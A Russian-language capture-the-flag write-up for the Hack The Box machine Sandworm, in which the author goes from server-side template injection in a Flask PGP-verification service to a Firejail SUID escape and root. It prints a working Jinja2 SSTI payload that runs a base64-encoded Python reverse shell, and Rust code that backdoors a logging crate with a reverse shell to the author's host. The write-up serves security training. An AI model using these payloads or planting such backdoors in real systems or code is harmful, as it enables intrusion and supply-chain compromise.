April 24, 2024

HTB Sandworm. Выходим из песочницы Firejail и повышаем привилегии в Linux

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

В этом рай­тапе я покажу, как совер­шать побег из сен­дбок­са Firejail, что­бы повысить при­виле­гии в Linux. Еще мы най­дем и про­экс­плу­ати­руем уяз­вимость SSTI в сер­висе про­вер­ки под­писи PGP, а так­же заложим бэк­дор в про­ект, написан­ный на Rust.

А поможет нам в этом тре­ниро­воч­ная машина Sandworm с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — сред­ний.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.218 sandworm.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.9p1;
  • 80 и 443 — веб‑сер­вер Nginx 1.18.0.

В заголов­ке http-title при­сутс­тву­ет редирект на адрес https://ssa.htb. Добав­ляем и этот домен в файл /etc/hosts.

10.10.11.218 sandworm.htb ssa.htb

Глав­ная стра­ница сай­та https://ssa.htb/

На сай­те находим фор­мы для шиф­рования тек­ста и про­вер­ки под­писи.

Стра­ница шиф­рования
Стра­ница про­вер­ки под­писи

По ссыл­ке на стра­нице получа­ем ключ PGP.

Ключ PGP

Боль­ше ничего инте­рес­ного не находим, а так как мы уже уви­дели мно­го инте­рес­ных стра­ниц, поп­робу­ем поис­кать дру­гие.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch, DIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­даем нуж­ные парамет­ры и запус­каем ска­ниро­вание:

feroxbuster -k -u https://ssa.htb -t 256 -d 1 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью feroxbuster

На­ходим на сай­те как админку, так и стра­ницу авто­риза­ции.

ТОЧКА ВХОДА

Га­дать, какая исполь­зует­ся тех­нология, не приш­лось, так как бан­нер Powered by Flask рас­положен на глав­ной стра­нице.

Бан­нер Powered by

Про­тес­тиру­ем сер­вис про­вер­ки под­писи. Для это­го сна­чала сге­нери­руем PGP-ключ, под­пишем сооб­щение, пос­ле чего обе записи отпра­вим на сайт. При соз­дании клю­ча PGP нуж­но ука­зать имя и адрес элек­трон­ной поч­ты.

pgp --gen-keyname1 <email@mail.comp>

Ге­нери­рова­ние PGP-клю­ча

За­тем экспор­тиру­ем соз­данный ключ. Его иден­тифика­тор — это стро­ка вида "имя" "адрес электронной почты". Пос­ле чего под­пишем сооб­щение message.

gpg -a -o pub.key --export 'name1 <email@mail.comp>'echo 'message' | gpg --clear-sign

Под­пись сооб­щения

Пе­рехо­дим к сер­вису и переда­ем экспор­тирован­ный ключ и под­писан­ное сооб­щение, пос­ле чего про­веря­ем под­пись.

Про­вер­ка под­писи
Ре­зуль­тат про­вер­ки под­писи

В отве­те выводит­ся имя, исполь­зован­ное при соз­дании клю­ча PGP. Так как задей­ство­ван фрей­мворк Flask и сер­вер получа­ет, обра­баты­вает и выводит кон­тро­лиру­емые поль­зовате­лем дан­ные, с боль­шой веро­ятностью при­меня­ются шаб­лоны. В этом слу­чае сто­ит про­верить наличие уяз­вимос­ти SSTI.

ТОЧКА ОПОРЫ

SSTI

Сге­нери­руем новый ключ и вмес­то име­ни вве­дем шаб­лон {{7*7}}.

Соз­дание клю­ча PGP

Ес­ли уяз­вимость есть, то на мес­те име­ни мы уви­дим резуль­тат выпол­нения выраже­ния — 49. Сно­ва экспор­тиру­ем ключ, под­писыва­ем сооб­щение и отправ­ляем их на сер­вер.

gpg -a -o pub.key --export '{{7*7}} <q@q.comp>'echo 'message' | gpg --clear-sign

Ре­зуль­тат про­вер­ки под­писи

И получа­ем вмес­то име­ни резуль­тат выпол­нения выраже­ния в шаб­лоне. Так мы узна­ли, что сер­вис уяз­вим.

Справка: Server-Side Template Injection

Server-Side Template Injection (SSTI), или инъ­екция шаб­лонов на сто­роне сер­вера, — это механизм ата­ки, при котором зло­умыш­ленник внед­ряет в шаб­лон вре­донос­ный код. Шаб­лоны нуж­ны веб‑раз­работ­чикам, что­бы мож­но было нас­тра­ивать внеш­ний вид сай­та толь­ко в одном мес­те и затем не копиро­вать вруч­ную. По сути, шаб­лон — это документ HTML, где в нуж­ных мес­тах отме­чены перемен­ные и коман­ды, которые при генера­ции ито­говой стра­ницы будут замене­ны дан­ными. В том чис­ле это могут быть и дан­ные, получен­ные от посети­теля сай­та.

Ата­ка зат­рагива­ет момент, ког­да прис­ланная информа­ция объ­еди­няет­ся с шаб­лоном. Зло­умыш­ленник фор­миру­ет стро­ку таким обра­зом, что­бы она не прос­то под­ста­вилась в шаб­лон, но была интер­пре­тиро­вана как код. Если это воз­можно, то он добавит свои дирек­тивы, с помощью которых выпол­нит эксфиль­тра­цию дан­ных или даже зах­ватит веб‑сер­вер.

Поп­робу­ем выпол­нить реверс‑шелл на Python. Для это­го сна­чала сге­нери­руем его при помощи сер­виса Online Reverse Shell Generator. На сай­те ука­зыва­ем адрес и порт локаль­ного хос­та и зада­ем авто­мати­чес­кое кодиро­вание наг­рузки в Base64.

Online Reverse Shell Generator

Вы­пол­нять закоди­рован­ный реверс‑шелл будем при помощи вот такой конс­трук­ции:

bash -c "echo <BASE64-REVERSE-SHELL> |base64 -d | bash"

Для выпол­нения коман­ды через коман­дную обо­лоч­ку исполь­зуем сле­дующую наг­рузку SSTI:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('COMMAND').read()}}

Сге­нери­руем ключ с наг­рузкой вмес­то име­ни.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjM3Iiw0MzIxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc= | base64 -d | bash" ').read() }}

Соз­дание клю­ча

Те­перь при­выч­ным обра­зом экспор­тиру­ем ключ и под­писыва­ем сооб­щение. Но перед отправ­кой на про­вер­ку запус­каем лис­тенер (rlwrap nc -nlpv 4321). Сра­зу же пос­ле отправ­ки получа­ем сес­сию поль­зовате­ля atlas.

Сес­сия поль­зовате­ля atlas

ПРОДВИЖЕНИЕ

Sandbox Escape

Мы получи­ли какой‑то шелл, веро­ятно уре­зан­ный, потому что не выпол­няют­ся, нап­ример, коман­ды curl, wget, rm и cp. Воз­можно, мы попали в песоч­ницу, что под­твержда­ем, прос­мотрев каталог ~/.config. Там мы находим дру­гой каталог — firejail.

Со­дер­жимое катало­га ~/.config

Firejail — это прос­тая в исполь­зовании сис­тема изо­лиро­ван­ного выпол­нения гра­фичес­ких, кон­соль­ных и сер­верных при­ложе­ний, которая огра­ничи­вает рабочую сре­ду потен­циаль­но уяз­вимых прог­рамм и тем самым повыша­ет безопас­ность сис­тем. Для это­го исполь­зуют­ся прос­транс­тва имен, филь­тра­ция сис­темных вызовов и воз­можнос­тей AppArmor.

Так­же видим каталог httpie. HTTPie — это кон­соль­ный HTTP-кли­ент, который пред­назна­чен для тес­тирова­ния, отладки и обще­го вза­имо­дей­ствия с HTTP-сер­верами. Получим пол­ный лис­тинг со все­ми под­катало­гами.

Все содер­жимое катало­га ~/.config

В катало­ге httpie/sessions/localhost_5000 видим дос­тупный для чте­ния файл admin.json. В самом фай­ле есть учет­ные дан­ные поль­зовате­ля silentobserver.

Со­дер­жимое фай­ла admin.json

С най­ден­ными учет­ными дан­ными под­клю­чаем­ся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

Пользователь atlas

Те­перь у нас есть пол­ноцен­ная обо­лоч­ка и нам нуж­но соб­рать информа­цию. Я, как обыч­но, исполь­зую для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­ружа­ем на хост скрипт для Linux, даем пра­во на выпол­нение и прис­тупа­ем к ска­ниро­ванию.

Об­наружи­ваем, что для при­ложе­ния firejail уста­нов­лен бит SUID, но оно дос­тупно толь­ко груп­пе поль­зовате­ля jailer.

При­ложе­ния с SUID-битом

В катало­ге /opt находим два про­екта, которые отно­сят­ся к груп­пе поль­зовате­ля atlas.

Со­дер­жимое катало­га opt

Фай­лы одно­го из этих про­ектов мы можем модифи­циро­вать.

Фай­лы, дос­тупные для записи

В дереве про­цес­сов видим запущен­ную через cron от име­ни поль­зовате­ля atlas коман­ду cargo run --offline.

Де­рево про­цес­сов

Так как cron запус­кает какие‑то при­ложе­ния, пос­мотрим, что запуще­но пря­мо сей­час, при помощи ути­литы pspy64. В ее выводе находим запуск най­ден­ной коман­ды.

Вы­вод ути­литы pspy64

Так как запус­кает­ся файл из про­екта tipnet, прос­мотрим исходный код при­ложе­ния /opt/tipnet/src/main.rs.

Со­дер­жимое фай­ла main.rs

Это прог­рамма на Rust, которая вза­имо­дей­ству­ет с базой дан­ных MySQL. Код поз­воля­ет выпол­нять зап­росы и манипу­лиро­вать дан­ными в базе дан­ных. Кро­ме того, прог­рамма может искать записи в базе дан­ных по клю­чевым сло­вам и регис­три­ровать дей­ствия в жур­нале. Но самой пер­вой стро­кой под­клю­чает­ся модуль logger. А его мы можем най­ти в про­екте, где у нас есть пра­во на запись.

Со­дер­жимое катало­га /opt/crates/logger/src
Со­дер­жимое фай­ла lib.rs

Да­вай запишем в код бэк­дор, что­бы при каж­дом вызове фун­кции log мы получа­ли реверс‑шелл на порт 4321. Код реверс‑шел­ла на Rust дос­тупен на GitHub.

extern crate chrono;use std::net::TcpStream;use std::os::unix::io::{AsRawFd, FromRawFd};use std::process::{Command, Stdio}; use std::fs::OpenOptions;use std::io::Write;use chrono::prelude::*;pub fn log(user: &str, query: &str, justification: &str) { let sock = TcpStream::connect("10.10.14.37:6543").unwrap(); let fd = sock.as_raw_fd(); Command::new("/bin/bash") .arg("-i") .stdin(unsafe { Stdio::from_raw_fd(fd) }) .stdout(unsafe { Stdio::from_raw_fd(fd) }) .stderr(unsafe { Stdio::from_raw_fd(fd) }) .spawn() .unwrap() .wait() .unwrap(); let now = Local::now(); let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string(); let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification); let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") { Ok(file) => file, Err(e) => { println!("Error opening log file: {}", e); return; } }; if let Err(e) = file.write_all(log_message.as_bytes()) { println!("Error writing to log file: {}", e); }}

За­тем собира­ем модуль и ждем, ког­да при­летит бэк­коннект.

cargo build

Сбор­ка про­екта
Сес­сия поль­зовате­ля atlas

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

При раз­ведке мы так­же опре­дели­ли, что у исполня­емо­го фай­ла firejail выс­тавлен S-бит. Теперь мы можем этим вос­поль­зовать­ся. При помощи экс­пло­ита для выхода из песоч­ницы мы получим сес­сию с теми же при­виле­гиями, с которы­ми был запущен firejail. А так как мы можем запус­кать его от име­ни root, то это явный путь к повыше­нию при­виле­гий. Толь­ко одной сес­сии будет мало, поэто­му вер­немся к пре­дыду­щему шагу и сде­лаем себе еще одну сес­сию на пор­те 6543. Затем заг­ружа­ем экс­пло­ит на хост и запус­каем в пер­вой сес­сии.

За­пуск экс­пло­ита

Он покажет нам сле­дующую коман­ду, которую мы запус­каем во вто­рой сес­сии.

По­луче­ние при­виле­гиро­ван­ного шел­ла

Как мож­но видеть, во вто­рой сес­сии мы сра­зу получа­ем новый шелл. И теперь мы можем изме­нить поль­зовате­ля на root без вво­да вся­ких паролей.

Флаг рута

Ма­шина зах­вачена!